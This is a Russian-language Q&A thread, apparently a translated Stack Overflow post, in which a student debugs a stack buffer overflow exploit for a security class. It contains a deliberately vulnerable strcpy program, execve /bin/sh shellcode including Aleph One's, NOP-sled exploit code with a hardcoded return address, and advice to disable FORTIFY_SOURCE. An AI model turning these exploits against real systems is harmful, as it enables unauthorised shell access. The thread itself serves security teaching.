Переполнение буфера как homeowrk
Все еще изучая этот материал переполнения буфера для класса безопасности, я пытаюсь использовать уязвимость в этом приложении:
//vuln.c
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
Используя это эксплойт-приложение:
//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main(int argc, char* argv[])
{
char buffer[517];
char large_string[512];
FILE *badfile;
badfile = fopen("./badfile", "w");
//NOPslide
memset(&buffer,0x90,517);
//BEGIN FILL BUFFER
//from stack_smashing.pdf
long *long_ptr = (long *) large_string;
int i;
for (i = 0; i < 128; i++)
*(long_ptr + i) = (int) buffer;
for (i = 100; i < strlen(code)+100; i++)
large_string[i] = code[i];
strcpy(buffer,large_string);
//END FILL BUFFER
//save buffer to badfile
fwrite(buffer,517,1,badfile);
fclose(badfile);
return 0;
}
По какой-то причине, когда я создаю плохой файл с помощью эксплойта, он ничего не выдвигает. Либо буфер пуст, либо записывается неправильно. Кажется, я не могу найти свою ошибку, и после неустанного поиска в Google я не смог найти достаточного ответа. Исходя из моего понимания кода Fill Buffer, который я использовал, это должно заполнить long_string адресом моего буфера, затем поместить мой шелл-код в начало long_string (после небольшого слайда NOOP) и затем скопировать long_string обратно в буфер. Я не вижу никаких проблем с этим или с fwrite. Предложения?
3 ответа
Ну, вам нужно понять, что на самом деле делает разбивание стека. Он в основном разбивает много значений и перезаписывает определенный адрес, который в основном является адресом указателя возврата в стеке ($ebp + 4
). Вы определенно пытаетесь разбить стек, но есть множество вещей, которые вы должны сделать, чтобы точно понять, какой адрес вам нужно переопределить другим адресом, который указывает на ваш шелл-код.
http://www.phrack.com/issues.html?issue=49&id=14
В настоящее время у вас нет работы ни одной из этих двух вещей.
Вы должны использовать gdb или другой инструмент для просмотра кода сборки фактического уязвимого кода и просмотра адреса возврата. Исходя из этого, вы пытаетесь разбить стек с помощью командной строки.
Затем вы запускаете свой код эксплойта, не разбивая стек. Попытайтесь захватить фактический адрес возврата, который вы должны указывать на место, где вы устанавливаете свой шелл-код.
Вы должны следовать чтению на phrack, чтобы понять концепцию разрушения стека. Надеюсь, это поможет!
strcpy(buffer,large_string);
Одной из вещей, которую вы должны будете рассмотреть во время тестирования, является вызов этой функции.
FORTIFY_SOURCE использует "более безопасные" варианты функций высокого риска, такие как memcpy
а также strcpy
, Компилятор использует более безопасные варианты, когда он может определить размер буфера назначения. Если копия превысит размер буфера назначения, то программа вызывает abort()
,
Чтобы отключить FORTIFY_SOURCE для вашего тестирования, вы должны скомпилировать программу с -U_FORTIFY_SOURCE
или же -D_FORTIFY_SOURCE=0
,
Есть одна очень важная вещь, которую вы упускаете в своем коде. Я позволю вам найти это самостоятельно, но я, вероятно, помогу вам, посмотрев на очень простую проблему переполнения буфера, которую я решил некоторое время назад.
Считайте, что это целевой код с уязвимостью - легким переполнением буфера.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int foo(char *arg)
{
char buf[200];
strcpy(buf, arg);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target1: argc != 2\n");
exit(EXIT_FAILURE);
}
foo(argv[1]);
return 0;
}
Ниже приведен код эксплойта:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char arg1[215] = "";
memset(arg1,'\x90', 215);
memcpy(arg1,shellcode,45);
//0xbffffd78
//0xbffffcb8
arg1[212] = '\x88';
arg1[213] = '\xfc';
arg1[214] = '\xff';
arg1[215] = '\xbf';
char *args[] = { TARGET, arg1, NULL };
char *env[] = { NULL };
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
Посмотрите, как я определяю свою цель и использую ее.
Кроме того, я раньше видел этот шелл-код. Я использую один в следующем (Phrack):
/*
* Aleph One shellcode.
*/
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Проверьте это с помощью своего кода и дайте мне знать, если это работает.
ТАКЖЕ:
strcpy(buffer,large_string);
Написание этого - плохая практика, независимо от того, принимаете ли вы large_string от stdin или нет.